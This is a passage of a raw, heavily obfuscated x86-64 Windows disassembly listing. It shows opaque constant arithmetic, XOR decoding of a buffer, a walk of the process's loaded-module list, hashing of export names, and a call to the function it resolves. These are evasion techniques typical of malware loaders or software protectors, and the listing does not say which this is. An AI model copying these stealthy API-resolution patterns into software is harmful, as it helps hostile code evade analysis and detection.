movabs rax, 0xaee29ea65f29f077
add rax, r10
xor rcx, rax
ror rcx, 0x20
shr rcx, 0xc
not rcx
mov qword [rsp + 0x40], rcx
movabs rdx, 0x835718897a3c
mov r8, qword [0x1402b2088]
add r8, rdx
movabs rax, 0xd28364d12230bb17
xor r8, rax
mov eax, r10d
imul eax, ecx
and eax, 0x3f
mov ecx, 0x40
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
shl rdx, 0xf
movabs rax, 0xf7ca7db9406996c7
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
movabs rax, 0x2dfe1e568e5d1e57
imul rcx, rax
mov eax, 0x91b2442d
add rcx, rax
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rax, [0x1402b2060]
mov cl, byte [rax + rcx*8]
and cl, 0xf
movabs r8, 0x9ab0198ffe13a420
sub r8, qword [rsp + 0x40]
shr r8, cl
movabs rax, 0xd20a0631d4d9168b
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
lea rdx, [0x1402b2060]
imul rax, qword [rdx + rcx*8]
imul rax, r10
sub rax, qword [rsp + 0x68]
xor r8, rax
jmp 0x1401d658f
movabs rcx, 0xaaaaaa1a91abb913
mov r11, r10
xor r11, rcx
movabs rcx, 0x1206ed53a6655f
imul r11, rcx
movabs rdx, 0xffff7e8ab7bb8bcf
mov rcx, qword [rsp + 0x78]
imul rcx, rdx
movabs rdx, 0xe3f8f45f3fa9c013
add r11, rdx
add r11, rcx
movabs rax, 0x277cd7be437b6e73
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdx, r11
not rdx
lea rax, [0x1402b2060]
imul rdx, qword [rax + rcx*8]
xor rdx, 0xffffffffc4fe6fc3
lea eax, [r10 + 0x11]
and eax, 0x3f
mov r9d, 0x40
mov ecx, r9d
sub ecx, eax
mov rdi, rdx
shr rdi, cl
mov ecx, eax
shl rdx, cl
or rdi, rdx
movabs rax, 0x1c58458420000000
imul rdi, rax
mov rcx, rdi
ror rcx, 0x18
not rcx
movabs rax, 0x9b2de6b2325fb150
imul rcx, rax
mov rax, r11
sub rax, rdi
lea r8, [rcx + rax*4]
mov eax, dword [rsp + 0x68]
and eax, 0x3f
mov ecx, r9d
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or r8, rdx
movabs rax, 0x2dfe1e568e5d1e57
imul r8, rax
mov r9, r13
jmp 0x1401d673b
movabs rax, 0x444f1aebef77a7ad
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x8a7c0328faea3ca9
shl rdx, cl
mov rax, rsi
mov rsi, rdx
xor rsi, rax
mov eax, dword [rsp + 0x30]
and eax, 0x8000003f
jge 0x1401d65eb
sub eax, r14d
or eax, 0xffffffc0
add eax, r14d
mov cl, al
rol rsi, cl
movabs rcx, 0xd201e1a971a2e1a9
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1e568e5d1e57
lea rax, [0x1402b2060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor rsi, rax
movabs rax, 0xffffc7a7cd6fcf3e
or rsi, rax
mov r8, qword [0x1402b2070]
movabs rax, 0x7583fcd70515c356
imul r8, rax
sub r8, rdi
mov rax, qword [rsp + 0x68]
sub rax, rsi
xor r8, rax
movabs rax, 0xc7a7c6a69c67cf33
xor r8, rax
mov rax, r10
imul rax, rdi
imul rax, r8
mov r9, r11
sub r9, rax
movabs rax, 0x789589453358329
add r9, rax
xor r9, qword [rsp + 0x68]
movzx eax, r11b
imul ecx, eax, 0x16
and cl, 0x3f
rol r9, cl
not r9
jmp 0x1401d673b
mov rcx, r10
imul rcx, qword [0x1402b2080]
and rcx, qword [0x1402b2070]
mov rax, rsi
mov rsi, rcx
xor rsi, rax
ror rsi, 0xc
imul rsi, rdi
mov r9, rdx
not r9
imul r9, r11
movabs rax, 0x7cd8a7de41969ed2
imul r9, rax
imul rax, qword [0x1402b2060], 0xffffffffe0c3dc2c
mov rdx, qword [0x1402b2068]
sub rax, rdx
mov qword [rsp + 0x30], rax
mov al, r9b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1401d671c
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
mov rax, qword [rsp + 0x30]
ror rax, cl
movabs rcx, 0xd201e1a971a2e1a9
add rax, rcx
add rax, qword [rsp + 0x78]
mov qword [rsp + 0x68], rax
movabs rax, 0xff055d7bb1dd941f
mov rcx, qword [rsp + 0x40]
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
xor rsi, r9
lea rax, [0x1402b2060]
imul rsi, qword [rax + rcx*8]
not rdi
imul rdi, r10
imul rdi, qword [rsp + 0x68]
imul rdi, r8
movabs rcx, 0xf5ed7e87b66edec3
xor rcx, r11
not rcx
xor rcx, rdi
sub rcx, rsi
call fcn.14016e3d4
mov qword [0x1402b3140], rax
mov dword [rsp + 0xd0], r13d
mov dword [rsp + 0xd0], 0x52503a7f
mov eax, dword [rsp + 0xd0]
add eax, 0x27d1bfa7
xor eax, 0x54fbb9d6
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x2fdd043d
xor eax, 0x8929930b
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x66735946
add eax, ecx
xor eax, 0x32953b6f
sub eax, 0x2ccc0e43
xor eax, 0x3dc3d6d0
lea edx, [rcx + 0x3e0950f9]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xa09f4552
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x5f60baad
add ecx, 0xe7bd42b4
add ecx, edx
xor ecx, 0xb0bf6c6a
mov dword [rsp + 0xd0], ecx
movsxd rax, ecx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0xd0], r13d
cmp rax, qword [rsp + 0x70]
jae 0x1401d721f
movabs rax, 0x98c0ca0e98a3ff69
movabs r11, 0x69f1c35d47b7038a
movabs r10, 0x960e3ca2b848fc76
mov r12d, 0x40
movabs r15, 0xaaaaaaaaaaaaaaab
lea rbx, [0x1402b2060]
mov qword [rsp + 0x68], rax
mov r8, r11
movabs rax, 0xdee774e99a000000
mov rsi, qword [0x1402b2080]
imul rsi, rax
movabs rax, 0xdcc56f9d4b000000
xor rsi, rax
mov rcx, rsi
imul rcx, r11
mov qword [rsp + 0x90], rcx
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, rsi
and r9, r11
imul r9, qword [rbx + rcx*8]
movabs rax, 0xcb0f532219337230
imul r9, rax
movabs rax, 0x6d83479dc8992fb8
xor r9, rax
shr r9, 3
movabs rax, 0xffffff57d103ec67
mov r11, rsi
imul r11, rax
add r11, 0x733cab0
xor r11, r9
xor r11, qword [0x1402b2060]
mov rax, r9
imul rax, qword [0x1402b2070]
movabs rcx, 0xb9de928bd8b05346
imul rax, rcx
not rax
and r11, rax
ror r11, 0x3d
shr r11, 8
lea rcx, [rsi + r10]
xor rcx, 0xffffffffe63e584b
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x4418fb23105573e0
mov rdi, qword [rbx + rcx*8]
imul rdi, rax
movabs rax, 0x69f1c35d47b7038a
add rdi, rax
movabs rcx, 0xe425d37b9dd3a668
mov rax, r9
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r10, rdi
xor r10, rsi
movabs rcx, 0x960e3ca2b848fc76
add rcx, rdi
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x57
and ecx, 0x8000003f
jge 0x1401d69f1
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
ror r10, cl
not r10
imul r10, r9
mov qword [rsp + 0x78], r10
imul rax, r10, 0x733cab0
mov qword [rsp + 0x80], rax
movabs rcx, 0x960e3ca2b848fc76
add rax, rcx
mov qword [rsp + 0x48], rax
mov rdx, rdi
imul rdx, r11
sub rdx, rax
movabs rcx, 0x98c0ca0e98a3ff69
xor rdx, rcx
movzx eax, al
mov dword [rsp + 0x30], eax
xor eax, 0xfffffff8
and eax, 0xf
mov ecx, r12d
sub ecx, eax
mov r10, rdx
shr r10, cl
mov ecx, eax
shl rdx, cl
or r10, rdx
movabs rcx, 0x12e93546311b52e0
mov rax, qword [rsp + 0x78]
imul rax, rcx
movabs rcx, 0x23b82aef64a7799c
add rax, rcx
xor r10, rax
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, qword [0x1402b2078]
xor r10, rax
xor r10, r9
xor r10, rsi
mov rax, r10
and eax, 2
je 0x1401d6e28
sub rax, 1
je 0x1401d6cdd
sub rax, 1
je 0x1401d6bbd
cmp rax, 1
jne 0x1401d6ee2
imul rcx, rdi
movabs rax, 0x3181c19c67cf1f7a
add rax, r10
xor rcx, rax
ror rcx, 4
shr rcx, 0xc
xor rcx, rsi
not rcx
mov qword [rsp + 0x68], rcx
movabs rdx, 0x83573a415d44
mov r8, qword [0x1402b2088]
add r8, rdx
movabs rax, 0x968cb9dac91281b2
xor r8, rax
mov eax, ecx
imul eax, r10d
and eax, 0x3f
mov ecx, r12d
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
shl rdx, 0xf
movabs rax, 0xf7ca7db962a1b1bf
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
movabs rax, 0x69f1c35d47b7038a
imul rcx, rax
mov eax, 0xb37a6355
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov cl, byte [rbx + rcx*8]
and cl, 0xf
movabs r8, 0x690f8a021f70df65
sub r8, qword [rsp + 0x68]
shr r8, cl
movabs rax, 0x9616612afa471010
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [rbx + rcx*8]
imul rax, r10
sub rax, r11
xor r8, rax
jmp 0x1401d6ee2
movabs rax, 0xaaaaaa1ab3639e6b
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed716e4227
imul rcx, rax
movabs rdx, 0xfff17ca86401a817
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a9573acb7
mov rdx, qword [rsp + 0x80]
imul rdx, rax
movabs rdi, 0xe699a0372416d11
add rdi, rcx
add rdi, rdx
movabs rax, 0x277cd7be61b3490b
mov rcx, rdi
xor rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdx, rdi
not rdx
imul rdx, qword [rbx + rcx*8]
xor rdx, 0xffffffffe63648bb
lea eax, [r10 - 0x17]
and eax, 0x3f
mov ecx, r12d
sub ecx, eax
mov r8, rdx
shr r8, cl
mov ecx, eax
shl rdx, cl
or r8, rdx
movabs rcx, 0x2c6a000280000000
mov rax, qword [rsp + 0x90]
xor rax, rcx
movabs rcx, 0x7c7a7dc68f31420a
and rax, rcx
imul r8, rax
mov qword [rsp + 0x48], r8
mov rcx, r8
ror rcx, 0x1f
not rcx
movabs rax, 0x9b2de6b2b97f2cb0
imul rcx, rax
mov rax, rdi
sub rax, r8
lea rdx, [rcx + rax*4]
mov eax, r11d
and eax, 0x3f
mov ecx, r12d
sub ecx, eax
mov r8, rdx
shl r8, cl
mov ecx, eax
shr rdx, cl
or r8, rdx
movabs rax, 0x69f1c35d47b7038a
imul r8, rax
jmp 0x1401d6ee2
movabs rax, 0xdc985378d31714fc
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x960e3ca2b848fc75
mov rax, rsi
imul rax, rdx
movabs rdx, 0x98c0ca0e98a3ff69
xor rax, rdx
not rax
shl rax, cl
xor rax, r9
mov edx, dword [rsp + 0x30]
and edx, 0x3f
mov ecx, r12d
sub ecx, edx
mov r9, rax
shr r9, cl
mov ecx, edx
shl rax, cl
or r9, rax
movabs rcx, 0x960e3ca2b848fc76
add rcx, r10
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x35d47b7038a
mov rax, qword [rbx + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7efa7e846
or r9, rax
mov r8, qword [0x1402b2070]
movabs rax, 0x98c0ca0e98a3ff69
imul r8, rax
sub r8, qword [rsp + 0x48]
mov rax, r11
sub rax, r9
xor r8, rax
movabs rax, 0xc7a7c6a6beafe84b
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, r14
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, qword [rsp + 0x48]
imul rdx, r8
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, rsi
movabs rsi, 0x789589471fda451
add rsi, rax
xor rsi, r11
movzx eax, dil
imul ecx, eax, 0xee
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x1401d6ee2
mov rax, r15
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r10
imul rax, qword [0x1402b2080]
mov rdx, qword [rbx + rcx*8]
and rdx, rax
xor rdx, r9
and r9d, 0x3f
mov eax, r9d
mov ecx, r12d
sub ecx, r9d
mov r9, rdx
shl r9, cl
mov ecx, eax
shr rdx, cl
or r9, rdx
imul r9, qword [rsp + 0x48]
not r11
imul r11, rdi
movabs rax, 0x7cd8a7de635eb9aa
imul r11, rax
mov rax, r9
imul rax, rsi
mov rsi, r11
xor rsi, rax
imul r11, qword [0x1402b2060], 0x733cab0
mov rdx, qword [0x1402b2068]
sub r11, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1401d6eca
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
ror r11, cl
movabs rax, 0x960e3ca2b848fc76
add r11, rax
add r11, qword [rsp + 0x80]
movabs rax, 0xff055d7b9315b367
mov rcx, qword [rsp + 0x68]
xor rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
xor r9, rsi
imul r9, qword [rbx + rcx*8]
mov rax, qword [rsp + 0x48]
not rax
imul rax, r10
imul rax, r11
imul rax, r8
movabs rcx, 0xf5ed7e8794a6f9bb
xor rcx, rdi
not rcx
xor rcx, rax
sub rcx, r9
call fcn.14016ebfc
mov qword [0x1402b3168], rax
mov dword [rsp + 0xd4], r13d
mov dword [rsp + 0xd4], 0x131106d1
mov dword [rsp + 0xf0], r13d
mov dword [rsp + 0xf0], 0xb2ec7739
mov eax, dword [rsp + 0xf0]
add eax, 0xd5d7268b
xor eax, 0xbbe067db
mov r9, qword [0x1402b2058]
sub eax, r9d
mov r8, qword [0x1402b2050]
sub eax, r8d
add eax, 0x2218eb8e
xor eax, 0x486c168b
mov rdx, qword [0x1402b2048]
sub eax, edx
mov rsi, qword [0x1402b2040]
add eax, 0xfc3b041b
add eax, esi
xor eax, 0x5c171212
sub eax, 0x102b1dc
xor eax, 0xaf9bb333
lea ecx, [rsi - 0x2f39f01a]
add ecx, eax
not ecx
mov r10, qword [0x1402b2038]
mov eax, r10d
xor eax, 0x33575aee
sub ecx, eax
mov rdi, qword [0x1402b2030]
mov r11d, edi
xor r11d, 0xcca8a511
add r11d, 0x928abbe3
add r11d, ecx
xor r11d, 0xa986fce
mov dword [rsp + 0xf0], r11d
mov eax, dword [rsp + 0xd4]
add eax, 0xd4a2bc37
xor eax, 0x518c66a7
sub eax, r9d
sub eax, r8d
add eax, 0x1e1c88cd
xor eax, 0x99a55289
sub eax, edx
add eax, 0x3ddaa70
add eax, esi
xor eax, 0x2d76db5b
sub eax, 0x305c9c29
xor eax, 0x2d5f200
xor edi, 0x1cad76bb
sub edi, eax
xor r10d, 0xe3528944
sub edi, r10d
sub edi, esi
add edi, 0x57c27598
xor edi, 0x4b839cac
mov dword [rsp + 0xd4], edi
movsxd r8, edi
mov r9, qword [rsp + 0x40]
xor r8, r9
mov eax, r11d
add rax, r9
imul r8, rax
mov dword [rsp + 0xdc], r13d
mov dword [rsp + 0xdc], 0xe7a78f15
mov eax, dword [rsp + 0xdc]
add eax, 0x6cb57af
xor eax, 0xed0398cf
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x4779f105
xor eax, 0x8ab414a3
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xb7478b67
add eax, ecx
xor eax, 0x38408a06
add eax, 0x5af7319f
xor eax, 0x8e0812ff
lea edx, [rcx - 0x69d773e7]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xc01b2bb2
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x3fe4d44d
add ecx, 0xc31f51b4
add ecx, edx
xor ecx, 0xe38c8a
mov dword [rsp + 0xdc], ecx
movsxd rax, ecx
mov rcx, r9
sub rcx, rax
mov rdx, qword [rsp + 0x430]
xor byte [rcx + rdx], r8b
mov dword [rsp + 0xdc], r13d
mov dword [rsp + 0xf0], r13d
mov dword [rsp + 0xd4], r13d
mov dword [rsp + 0xe0], r13d
mov dword [rsp + 0xe0], 0xc01a5561
mov eax, dword [rsp + 0xe0]
add eax, 0xc39e312f
xor eax, 0xc68455a2
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
add eax, 0x364f966e
xor eax, 0xcaedefbd
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x76f7552a
add eax, ecx
xor eax, 0x60e009f0
sub eax, 0x1c48c463
xor eax, 0x6398bfa8
lea edx, [rcx + 0x5e7f768b]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xc30e7718
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x3cf188e7
add ecx, 0xb95e3b1d
add ecx, edx
xor ecx, 0x6eea36a8
mov dword [rsp + 0xe0], ecx
movsxd rax, ecx
add r9, rax
mov qword [rsp + 0x40], r9
mov dword [rsp + 0xe0], r13d
cmp r9, qword [rsp + 0x70]
movabs rax, 0x98c0ca0e98a3ff69
movabs r10, 0x960e3ca2b848fc76
movabs r11, 0x69f1c35d47b7038a
jb 0x1401d688f
mov rbx, qword [rsp + 0x50]
mov r15d, 0x31
mov r12d, 0x4764996c
mov dword [rsp + 0xe4], r13d
mov dword [rsp + 0xe4], 0xf6560040
mov eax, dword [rsp + 0xe4]
add eax, 0x1fd1e72b
xor eax, 0x7c7fb1d6
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
add eax, 0x443afb4c
xor eax, 0x81496ae9
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xc34f23a2
add eax, ecx
xor eax, 0xabb50e5c
sub eax, 0x236be8be
xor eax, 0x5a4030d
lea edx, [rcx - 0x1e2ed577]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xb07f45f0
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x4f80ba0f
add ecx, 0x375de162
add ecx, edx
xor ecx, 0xd8457910
mov dword [rsp + 0xe4], ecx
movsxd rax, ecx
mov qword [rsp + 0x440], rax
mov dword [rsp + 0xe4], r13d
mov qword [rsp + 0x1c0], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x1c8], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x1c8]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x1c8], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x1c0]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x1c0], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x1c8], r13
mov qword [rsp + 0x1c0], r13
test al, al
je 0x1401d7758
mov edi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1401d755a
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xe597f05e
jmp 0x1401d754c
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, r15d
xor r8d, r12d
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x1401d752b
cmp r10d, edi
jne 0x1401d769d
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x1401d769d
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1401d769d
mov edx, dword [rbx + 0x20]
dec esi
mov r9d, esi
lea rdx, [rdx + rsi*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, 0xe597f05e
mov r8b, byte [r11]
add r11, r14
test r8b, r8b
je 0x1401d75ec
mov r10d, edx
movsx r8d, r8b
mov r9d, r8d
imul r9d, r8d
add r9d, r15d
xor r9d, r12d
mov edx, r10d
xor edx, r8d
mov r10d, r9d
imul r10d, edx
mov r8b, byte [r11]
add r11, r14
test r8b, r8b
jne 0x1401d75ad
mov dword [rsp + 0x438], r10d
mov r10, qword [rax + 0x30]
mov edx, dword [rsp + 0x438]
mov r9d, esi
cmp edx, dword [rsp + 0xd8]
je 0x1401d7601
test esi, esi
mov edx, dword [rbx + 0x20]
jne 0x1401d758a
jmp 0x1401d769d
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x1401d76a5
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x1401d76a5
mov eax, 0xe597f05e
mov edi, eax
mov edx, eax
mov dword [rsp + 0xd8], eax
jmp 0x1401d7655
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edi
mov edi, eax
imul edi, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d763d
add r8, r14
mov al, byte [r8]
test al, al
je 0x1401d768c
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edx
mov edx, eax
imul edx, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d7666
mov dword [rsp + 0xd8], edx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1401d74ff
mov rcx, qword [rsp + 0x1b8]
call r8
mov dword [rsp + 0xe8], r13d
mov dword [rsp + 0xe8], 0xb843949f
mov eax, dword [rsp + 0xe8]
add eax, 0x3359fab5
xor eax, 0x9009c55e
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x59ff9cee
xor eax, 0x45733711
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xd5cbed1b
add eax, ecx
xor eax, 0x2d6dd813
add eax, 0x43c53f5f
xor eax, 0x5f8f5d07
lea edx, [rcx - 0x6b2e3078]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8cd663e
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x273299c1
add ecx, 0x4e0c1058
add ecx, edx
xor ecx, 0x9f1122be
mov dword [rsp + 0xe8], ecx
movsxd rax, ecx
mov qword [rsp + 0x1b8], rax
mov dword [rsp + 0xe8], r13d
lea rcx, [rsp + 0x380]
call fcn.140054dd8
mov rax, qword [rsp + 0x440]
add rsp, 0x3f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x1d0], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x1d8], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x1d8]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x1d8], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x1d0]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x1d0], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x1d8], r13
mov qword [rsp + 0x1d0], r13
test al, al
je 0x1401d7c0d
mov edi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
